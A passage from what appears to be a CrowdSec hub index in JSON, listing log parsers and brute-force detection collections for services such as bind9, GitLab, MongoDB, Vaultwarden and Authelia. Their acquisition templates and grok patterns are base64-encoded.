"IyMgQmluZDkgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBiaW5kOQogKiBMb2cgcGFyc2VyIGZvciBzdXBwb3J0aW5nIGJvdGggbG9ncyBpbiBzeXNsb2cgYW5kIHNlcGFyYXRlIGJpbmQ5IGxvZ2ZpbGUKICogU2NlbmFyaW8gdGhhdCBkZXRlY3RzIGJpbmQ5IHNlY3VyaXR5IHBvbGljeSB2aW9sYXRpb25zCgpUaGlzIGNvbGxlY3Rpb24gc2hvdWxkIGFkZHJlc3MgdGhlIHNhbWUgZXZlbnRzIGFzIHRoZSBmYWlsMmJhbiBuYW1lZC1yZWZ1c2VkCmphaWwuCgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkFjcXVpc2l0aW9uIGNvbmZpZ3VyYXRpb24gZGVwZW5kcyBvbiB3aGV0aGVyIGJpbmQ5IGlzIGNvbmZpZ3VyZWQgdG8gbG9nIHRvCnN5c2xvZywgc2VwYXJhdGUgbG9nIGZpbGVzLCBvciBib3RoLgoKRm9yIGEgc2VwYXJhdGUgbG9nIGZpbGUsIHNldCB0aGUgbG9nIHR5cGUgdG8gYG5hbWVkYDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvbmFtZWQvc2VjdXJpdHkubG9nCmxhYmVsczoKICB0eXBlOiBuYW1lZApgYGAKCklmIHlvdSBhcmUgdXNpbmcgc3lzbG9nLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkLgo=", "content": "cGFyc2VyczoKICAtIG1zdGlsa2VyaWNoL2JpbmQ5LWxvZ3MKc2NlbmFyaW9zOgogIC0gbXN0aWxrZXJpY2gvYmluZDktcmVmdXNlZApkZXNjcmlwdGlvbjogImJpbmQ5IHN1cHBvcnQgOiBzZWN1cml0eSBwb2xpY3kgdmlvbGF0aW9ucyBkZXRlY3Rpb24iCmF1dGhvcjogbXN0aWxrZXJpY2gKdGFnczoKICAtIGxpbnV4Cg==", "description": "bind9 support : security policy violations detection", "author": "mstilkerich", "labels": null, "parsers": [ "mstilkerich/bind9-logs" ], "scenarios": [ "mstilkerich/bind9-refused" ] }, "schiz0phr3ne/prowlarr": { "path": "collections/schiz0phr3ne/prowlarr.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3b125f7cb02336af4db16850ba14589f3976f4a9907ac18d568e50a61d6b1bbf", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB5b3VyIFtQcm93bGFycl0oaHR0cHM6Ly9naXRodWIuY29tL1Byb3dsYXJyL1Byb3dsYXJyKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSBQcm93bGFyciBwYXJzZXIKIC0gUHJvd2xhcnIgYnJ1dGUtZm9yY2UgJiBlbnVtZXJhdGlvbiBkZXRlY3Rpb24KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb246CmBgYHlhbWwKLS0tCnNvdXJjZTogZmlsZQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3N5c2xvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCmBgYApEZXBlbmRpbmcgb24geW91ciBpbnN0YWxsYXRpb24gbWV0aG9kLCB5b3UgbWF5IG5lZWQgdG8gY2hhbmdlIHRoZSBhY3F1aXNpdGlvbiB0ZW1wbGF0ZS4K", "content": "cGFyc2VyczoKICAtIHNjaGl6MHBocjNuZS9wcm93bGFyci1sb2dzCnNjZW5hcmlvczoKICAtIHNjaGl6MHBocjNuZS9wcm93bGFyci1iZgpkZXNjcmlwdGlvbjogIlByb3dsYXJyIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9ucyIKYXV0aG9yOiBzY2hpejBwaHIzbmUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gcHJvd2xhcnIK", "description": "Prowlarr support: parser and brute-force detections", "author": "schiz0phr3ne", "labels": null, "parsers": [ "schiz0phr3ne/prowlarr-logs" ], "scenarios": [ "schiz0phr3ne/prowlarr-bf" ] }, "schiz0phr3ne/radarr": { "path": "collections/schiz0phr3ne/radarr.yaml", "version": "0.1", "versions": { "0.1": { "digest": "577bcb650cb6069a638290703064efa15884614a3ba4736feae2adc37033a4dd", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB5b3VyIFtSYWRhcnJdKGh0dHBzOi8vZ2l0aHViLmNvbS9SYWRhcnIvUmFkYXJyKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSBSYWRhcnIgcGFyc2VyCiAtIFJhZGFyciBicnV0ZS1mb3JjZSAmIGVudW1lcmF0aW9uIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbjoKYGBgeWFtbAotLS0Kc291cmNlOiBmaWxlCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvc3lzbG9nCmxhYmVsczoKICB0eXBlOiBzeXNsb2cKYGBgCkRlcGVuZGluZyBvbiB5b3VyIGluc3RhbGxhdGlvbiBtZXRob2QsIHlvdSBtYXkgbmVlZCB0byBjaGFuZ2UgdGhlIGFjcXVpc2l0aW9uIHRlbXBsYXRlLgo=", "content": "cGFyc2VyczoKICAtIHNjaGl6MHBocjNuZS9yYWRhcnItbG9ncwpzY2VuYXJpb3M6CiAgLSBzY2hpejBwaHIzbmUvcmFkYXJyLWJmCmRlc2NyaXB0aW9uOiAiUmFkYXJyIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9ucyIKYXV0aG9yOiBzY2hpejBwaHIzbmUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gcmFkYXJyCg==", "description": "Radarr support: parser and brute-force detections", "author": "schiz0phr3ne", "labels": null, "parsers": [ "schiz0phr3ne/radarr-logs" ], "scenarios": [ "schiz0phr3ne/radarr-bf" ] }, "schiz0phr3ne/sonarr": { "path": "collections/schiz0phr3ne/sonarr.yaml", "version": "0.1", "versions": { "0.1": { "digest": "5a354d90be668eccf6b4c63e176778cb732c01641738a0b4a350ad3556c1fc3b", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB5b3VyIFtTb25hcnJdKGh0dHBzOi8vZ2l0aHViLmNvbS9Tb25hcnIvU29uYXJyKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSBTb25hcnIgcGFyc2VyCiAtIFNvbmFyciBicnV0ZS1mb3JjZSAmIGVudW1lcmF0aW9uIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbjoKYGBgeWFtbAotLS0Kc291cmNlOiBmaWxlCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvc3lzbG9nCmxhYmVsczoKICB0eXBlOiBzeXNsb2cKYGBgCkRlcGVuZGluZyBvbiB5b3VyIGluc3RhbGxhdGlvbiBtZXRob2QsIHlvdSBtYXkgbmVlZCB0byBjaGFuZ2UgdGhlIGFjcXVpc2l0aW9uIHRlbXBsYXRlLgo=", "content": "cGFyc2VyczoKICAtIHNjaGl6MHBocjNuZS9zb25hcnItbG9ncwpzY2VuYXJpb3M6CiAgLSBzY2hpejBwaHIzbmUvc29uYXJyLWJmCmRlc2NyaXB0aW9uOiAiU29uYXJyIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9ucyIKYXV0aG9yOiBzY2hpejBwaHIzbmUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gc29uYXJyCg==", "description": "Sonarr support: parser and brute-force detections", "author": "schiz0phr3ne", "labels": null, "parsers": [ "schiz0phr3ne/sonarr-logs" ], "scenarios": [ "schiz0phr3ne/sonarr-bf" ] }, "thespad/sshesame": { "path": "collections/thespad/sshesame.yaml", "version": "0.1", "versions": { "0.1": { "digest": "761e58fae8abf3b8093560273f10dfca4f6681a01ba7e5a41b869b39b10dbfef", "deprecated": false } }, "long_description": "IyBzc2hlc2FtZSBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gcGFyc2Ugc3NoZXNhbWUgaG9uZXlwb3QgbG9ncy4KCiogc3NoZXNhbWUgbG9nIHBhcnNlcgoqIHNzaGVzYW1lIGxvZ2luIGFuZCBjb21tYW5kIHNjZW5hcmlvcwoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbjoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvc3NoZXNhbWUubG9nCmxhYmVsczoKICB0eXBlOiBzc2hlc2FtZQpgYGAKCiMjIE5vdGVzCgoqIFRoZSBwYXJzZXIgZXhwZWN0cyBzc2hlc2FtZSBsb2cgdGltZXN0YW1wcyB0byBiZSBlbmFibGVkCiogVGhlIGNvbW1hbmQgc2NlbmFyaW8gd2lsbCBpbW1lZGlhdGVseSBvdmVyZmxvdyBvbiBhbnkgY29tbWFuZCByZWNlaXZlZCBmcm9tIGEgcmVtb3RlIGNsaWVudAo=", "content": "cGFyc2VyczoKICAtIHRoZXNwYWQvc3NoZXNhbWUtbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9kYXRlcGFyc2UtZW5yaWNoCnNjZW5hcmlvczoKICAtIHRoZXNwYWQvc3NoZXNhbWUtaG9uZXlwb3QKZGVzY3JpcHRpb246ICJDb2xsZWN0aW9uIGZvciBzc2hlc2FtZSBTU0ggaG9uZXlwb3QiCmF1dGhvcjogdGhlc3BhZAp0YWdzOgogIC0gc3NoZXNhbWUKICAtIHNzaAo=", "description": "Collection for sshesame SSH honeypot", "author": "thespad", "labels": null, "parsers": [ "thespad/sshesame-logs", "crowdsecurity/dateparse-enrich" ], "scenarios": [ "thespad/sshesame-honeypot" ] }, "timokoessler/gitlab": { "path": "collections/timokoessler/gitlab.yaml", "version": "0.1", "versions": { "0.1": { "digest": "41638aa525b599bf4cef982cf833362d6c698a8fe780d21534800dcf3dd7f7de", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB5b3VyIFtHaXRMYWJdKGh0dHBzOi8vYWJvdXQuZ2l0bGFiLmNvbSkgV2ViIFVJIGFnYWluc3QgY29tbW9uIGF0dGFja3M6CiAtIEdpdExhYiBwYXJzZXIKIC0gR2l0TGFiIGJydXRlLWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCgpUZXN0ZWQgd2l0aCB0aGUgT21uaWJ1cyBwYWNrYWdlIHYxNCBhbmQgdjE1LgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbjoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9naXRsYWIvZ2l0bGFiLXJhaWxzL3Byb2R1Y3Rpb25fanNvbi5sb2cKbGFiZWxzOgogIHR5cGU6IGdpdGxhYgpgYGAKCm9yIGZvciBEb2NrZXI6CmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBteV9jb250YWluZXJfbmFtZQpsYWJlbHM6CiAgdHlwZTogZ2l0bGFiCmBgYApEZXBlbmRpbmcgb24geW91ciBnaXRsYWIgaW5zdGFsbGF0aW9uIG1ldGhvZCwgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZS4KVGlwOiBEb24ndCBmb3JnZXQgdG8gYWRkIEdpdExhYnMgTmdpbnggbG9ncyB0byBDcm93ZFNlYy4=", "content": "cGFyc2VyczoKICAtIHRpbW9rb2Vzc2xlci9naXRsYWItbG9ncwpzY2VuYXJpb3M6CiAgLSB0aW1va29lc3NsZXIvZ2l0bGFiLWJmCmRlc2NyaXB0aW9uOiAiR2l0TGFiIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IHRpbW9rb2Vzc2xlcgp0YWdzOgogIC0gbGludXgKICAtIGJydXRlLWZvcmNlCiAgLSBnaXRsYWI=", "description": "GitLab support: parser and brute-force detection", "author": "timokoessler", "labels": null, "parsers": [ "timokoessler/gitlab-logs" ], "scenarios": [ "timokoessler/gitlab-bf" ] }, "timokoessler/mongodb": { "path": "collections/timokoessler/mongodb.yaml", "version": "0.1", "versions": { "0.1": { "digest": "5b2ea020a1ac45b47a5b5981c6d913d52c83acb72bdd26b704b1b2c722f5a394", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbTW9uZ29EQl0oaHR0cHM6Ly93d3cubW9uZ29kYi5jb20vKSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSBNb25nb0RCIHBhcnNlcgogLSBNb25nb0RCIGJydXRlLWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCgpNb25nb0RCIHZlcnNpb24gNC40IG9yIGhpZ2hlciBpcyByZXF1aXJlZC4KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciBhIGRvY2tlciBjb250YWluZXI6CmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBteV9jb250YWluZXJfbmFtZQpsYWJlbHM6CiAgdHlwZTogbW9uZ29kYgpgYGAKCm9yIGZvciBhIGxvZyBmaWxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL21vbmdvZGIvbW9uZ29kYi5sb2cKbGFiZWxzOgogIHR5cGU6IG1vbmdvZGIKYGBgCkRlcGVuZGluZyBvbiB5b3VyIGluc3RhbGxhdGlvbiBtZXRob2QsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2Uu", "content": "cGFyc2VyczoKICAtIHRpbW9rb2Vzc2xlci9tb25nb2RiLWxvZ3MKc2NlbmFyaW9zOgogIC0gdGltb2tvZXNzbGVyL21vbmdvZGItYmYKZGVzY3JpcHRpb246ICJNb25nb0RCIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IHRpbW9rb2Vzc2xlcgp0YWdzOgogIC0gbGludXgKICAtIGJydXRlLWZvcmNlCiAgLSBtb25nb2Ri", "description": "MongoDB support: parser and brute-force detection", "author": "timokoessler", "labels": null, "parsers": [ "timokoessler/mongodb-logs" ], "scenarios": [ "timokoessler/mongodb-bf" ] }, "timokoessler/uptime-kuma": { "path": "collections/timokoessler/uptime-kuma.yaml", "version": "0.1", "versions": { "0.1": { "digest": "1168b907ae5a3817d3f6fdaa685a4e2bab130a92242cdb3a46dbe8923ae52022", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCB5b3VyIFtVcHRpbWUgS3VtYV0oaHR0cHM6Ly9naXRodWIuY29tL2xvdWlzbGFtL3VwdGltZS1rdW1hKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSBVcHRpbWUgS3VtYSBwYXJzZXIKIC0gVXB0aW1lIEt1bWEgYnJ1dGUtZm9yY2UgJiBlbnVtZXJhdGlvbiBkZXRlY3Rpb24KCioqVXB0aW1lIEt1bWEgdmVyc2lvbiAxLjE1LjAgb3IgaGlnaGVyIGlzIHJlcXVpcmVkLioqCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uOgpgYGB5YW1sCi0tLQpzb3VyY2U6IGRvY2tlcgpjb250YWluZXJfbmFtZToKIC0gbXlfY29udGFpbmVyX25hbWUKbGFiZWxzOgogIHR5cGU6IHVwdGltZS1rdW1hCmBgYApEZXBlbmRpbmcgb24geW91ciBpbnN0YWxsYXRpb24gbWV0aG9kLCB5b3UgbWF5IG5lZWQgdG8gY2hhbmdlIHRoZSBhY3F1aXNpdGlvbiB0ZW1wbGF0ZS4=", "content": "cGFyc2VyczoKICAtIHRpbW9rb2Vzc2xlci91cHRpbWUta3VtYS1sb2dzCnNjZW5hcmlvczoKICAtIHRpbW9rb2Vzc2xlci91cHRpbWUta3VtYS1iZgpkZXNjcmlwdGlvbjogIlVwdGltZSBLdW1hIHN1cHBvcnQ6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IHRpbW9rb2Vzc2xlcgp0YWdzOgogIC0gbGludXgKICAtIGJydXRlLWZvcmNlCiAgLSB1cHRpbWUta3VtYQ==", "description": "Uptime Kuma support: parser and brute-force detection", "author": "timokoessler", "labels": null, "parsers": [ "timokoessler/uptime-kuma-logs" ], "scenarios": [ "timokoessler/uptime-kuma-bf" ] } }, "parsers": { "Dominic-Wagner/vaultwarden-logs": { "path": "parsers/s01-parse/Dominic-Wagner/vaultwarden-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "016236c174143284ded1df7e2180c4271b9e7e2e949560aed17b32a00da8c0d6", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbVmF1bHR3YXJkZW5dKGh0dHBzOi8vZ2l0aHViLmNvbS9kYW5pLWdhcmNpYS92YXVsdHdhcmRlbikgTG9ncy4KCklmIHVzaW5nIExPR19GSUxFIGVudmlyb25tZW50IHZhcmlhYmxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3ZhdWx0d2FyZGVuLmxvZwpsYWJlbHM6CiAgdHlwZTogVmF1bHR3YXJkZW4KYGBgCklmIHJ1bm5pbmcgdmlhIHN5c3RlbWQ6CmBgYHlhbWwKLS0tCnNvdXJjZTogam91cm5hbGN0bApqb3VybmFsY3RsX2ZpbHRlcjoKICAtICJTWVNMT0dfSURFTlRJRkVSPVZhdWx0d2FyZGVuIgpsYWJlbHM6CiAgdHlwZTogVmF1bHR3YXJkZW4=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogIlVwcGVyKGV2dC5QYXJzZWQucHJvZ3JhbSkgPT0gJ1ZBVUxUV0FSREVOJyIKbmFtZTogRG9taW5pYy1XYWduZXIvdmF1bHR3YXJkZW4tbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHZhdWx0d2FyZGVuIGxvZ3MiCnBhdHRlcm5fc3ludGF4OgogIERBVEVfWU1EOiAiJXtZRUFSOnllYXJ9LSV7TU9OVEhOVU06bW9udGh9LSV7TU9OVEhEQVk6ZGF5fSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXlxbJXtEQVRFX1lNRDpkYXRlfSAle1RJTUU6dGltZX1cXVxbdmF1bHR3YXJkZW46OmFwaTo6aWRlbnRpdHlcXVxbRVJST1JcXSBVc2VybmFtZSBvciBwYXNzd29yZCBpcyBpbmNvcnJlY3RcLiBUcnkgYWdhaW5cLiBJUDogJXtJUDpzb3VyY2VfaXB9XC4gVXNlcm5hbWU6ICV7RU1BSUxBRERSRVNTOnVzZXJuYW1lfVwuJCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogdmF1bHR3YXJkZW5fZmFpbGVkX2F1dGgKICAgICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJuYW1lCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXlxbJXtEQVRFX1lNRDpkYXRlfSAle1RJTUU6dGltZX1cXVxbdmF1bHR3YXJkZW46OmFwaTo6YWRtaW5cXVxbRVJST1JcXSBJbnZhbGlkIGFkbWluIHRva2VuLiBJUDogJXtJUDpzb3VyY2VfaXB9JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiB2YXVsdHdhcmRlbl9mYWlsZWRfYWRtaW5fYXV0aAogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJ15cWyV7REFURV9ZTUQ6ZGF0ZX0gJXtUSU1FOnRpbWV9XF1cW3ZhdWx0d2FyZGVuOjphcGk6OmNvcmU6OnR3b19mYWN0b3I6OmF1dGhlbnRpY2F0b3JcXVxbRVJST1JcXSBJbnZhbGlkIFRPVFAgY29kZSEgU2VydmVyIHRpbWU6ICV7REFURV9ZTUQ6c2VydmVyX2RhdGV9ICV7VElNRTpzZXJ2ZXJfdGltZX0gJXtUWjpzZXJ2ZXJfdHp9IElQOiAle0lQOnNvdXJjZV9pcH0nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHZhdWx0d2FyZGVuX2ZhaWxlZF90b3RwCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiB2YXVsdHdhcmRlbgogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmRhdGUgKyAnICcgKyBldnQuUGFyc2VkLnRpbWUiCg==", "description": "Parse vaultwarden logs", "author": "Dominic-Wagner", "labels": null }, "LePresidente/adguardhome-logs": { "path": "parsers/s01-parse/LePresidente/adguardhome-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "52be900eea2c74174042277698eeaba67bb5111452ace2f454471d1eac87fc55", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbQWRHdWFyZEhvbWVdKGh0dHBzOi8vZ2l0aHViLmNvbS9BZGd1YXJkVGVhbS9BZEd1YXJkSG9tZSkgTG9ncy4KCmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvQWRHdWFyZEhvbWUubG9nCmxhYmVsczoKICB0eXBlOiBhZGd1YXJkaG9tZQpgYGAKCmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBBZEd1YXJkSG9tZQojY29udGFpbmVyX2lkOgojIC0gODQzZWU5MmQyMzFiCmxhYmVsczoKICB0eXBlOiBhZGd1YXJkaG9tZQpgYGAK", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogZmFsc2UKbmFtZTogTGVQcmVzaWRlbnRlL2FkZ3VhcmRob21lLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBhZGd1YXJkaG9tZSBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2FkZ3VhcmRob21lJyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtEQVRFX1g6ZGF0ZX0gJXtUSU1FOnRpbWV9LiogUE9TVCAle0lQOnNvdXJjZV9pcH0uKjogaW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGFkZ3VhcmRob21lX2ZhaWxlZF9hdXRoCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBhZGd1YXJkaG9tZQogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmRhdGUgKyAnICcgKyBldnQuUGFyc2VkLnRpbWUi", "description": "Parse adguardhome logs", "author": "LePresidente", "labels": null }, "LePresidente/authelia-logs": { "path": "parsers/s01-parse/LePresidente/authelia-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "0d1e7a9e74dc9ce035f8bf45f84dbc8d4741b76f4440d663e8354b87f919913b", "deprecated": false }, "0.2": { "digest": "6180a4b745722e87d7cb946dfa8cbd3a2a70949b95c8e159fd4e3470bce944b3", "deprecated": false }, "0.3": { "digest": "62b1b7424d5fc1c5aad1da9307b05e1164d1b0948dc578228b67ba10e534225b", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbQXV0aGVsaWFdKGh0dHBzOi8vd3d3LmF1dGhlbGlhLmNvbSkgTG9ncy4KCmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvQXV0aGVsaWEubG9nCmxhYmVsczoKICB0eXBlOiBhdXRoZWxpYQpgYGA=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmRlYnVnOiBmYWxzZQpuYW1lOiBMZVByZXNpZGVudGUvYXV0aGVsaWEtbG9ncwpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2F1dGhlbGlhJyIKZGVzY3JpcHRpb246ICJQYXJzZSBBdXRoZWxpYSBsb2dzIgpwYXR0ZXJuX3N5bnRheDogIAogIEFVVEhFTElBX0JBRF9BVVRIOiAnVW5zdWNjZXNzZnVsIDFGQSBhdXRoZW50aWNhdGlvbiBhdHRlbXB0IGJ5IHVzZXIgXFMoJXtFTUFJTEFERFJFU1M6ZW1haWx9fCV7VVNFUk5BTUU6dXNlcm5hbWV9KVxTJwogIEFVVEhFTElBX0JBRF9EVU86ICdVbnN1Y2Nlc3NmdWwgRHVvIGF1dGhlbnRpY2F0aW9uIGF0dGVtcHQgYnkgdXNlciBcUygle0VNQUlMQUREUkVTUzplbWFpbH18JXtVU0VSTkFNRTp1c2VybmFtZX0pXFMnCiAgQVVUSEVMSUFfQkFEX1RPVFA6ICdVbnN1Y2Nlc3NmdWwgVE9UUCBhdXRoZW50aWNhdGlvbiBhdHRlbXB0IGJ5IHVzZXIgXFMoJXtFTUFJTEFERFJFU1M6ZW1haWx9fCV7VVNFUk5BTUU6dXNlcm5hbWV9KVxTJwogIEFVVEhFTElBX0NMRl9CQURBVVRIOiAnXnRpbWU9IiV7UkZDMzMzOTp0aW1lc3RhbXB9Ii4qPyV7QVVUSEVMSUFfQkFEX0FVVEh9Lio/cmVtb3RlX2lwPSV7SVA6cmVtb3RlX2lwfScKICBBVVRIRUxJQV9DTEZfRFVPOiAnXnRpbWU9IiV7UkZDMzMzOTp0aW1lc3RhbXB9Ii4qPyV7QVVUSEVMSUFfQkFEX0RVT30uKj9yZW1vdGVfaXA9JXtJUDpyZW1vdGVfaXB9JwogIEFVVEhFTElBX0NMRl9UT1RQOiAnXnRpbWU9IiV7UkZDMzMzOTp0aW1lc3RhbXB9Ii4qPyV7QVVUSEVMSUFfQkFEX1RPVFB9Lio/cmVtb3RlX2lwPSV7SVA6cmVtb3RlX2lwfScKbm9kZXM6CiAgLSBncm9rOgogICAgICBuYW1lOiAiQVVUSEVMSUFfQ0xGX0JBREFVVEgiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6IGF1dGhlbGlhX2ZhaWxlZF9jbGZfYXV0aCAKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJBVVRIRUxJQV9DTEZfRFVPIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgc3RhdGljczoKICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgIHZhbHVlOiBhdXRoZWxpYV9mYWlsZWRfY2xmX2F1dGggCiAgLSBncm9rOgogICAgICBuYW1lOiAiQVVUSEVMSUFfQ0xGX1RPVFAiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6IGF1dGhlbGlhX2ZhaWxlZF9jbGZfYXV0aCAKICAtIGdyb2s6CiAgICBub2RlczoKICAgICAgLSBncm9rOgogICAgICAgICAgcGF0dGVybjogVW5zdWNjZXNzZnVsICgxRkF8RHVvfFRPVFApIGF1dGhlbnRpY2F0aW9uIGF0dGVtcHQgYnkgdXNlciAnKCV7RU1BSUxBRERSRVNTOmVtYWlsfXwle1VTRVJOQU1FOnVzZXJuYW1lfSknCiAgICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJtc2ciKQogICAgICAgIHN0YXRpY3M6CiAgICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICAgIHZhbHVlOiBhdXRoZWxpYV9mYWlsZWRfanNvbl9hdXRoCiAgICAgIC0gZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle0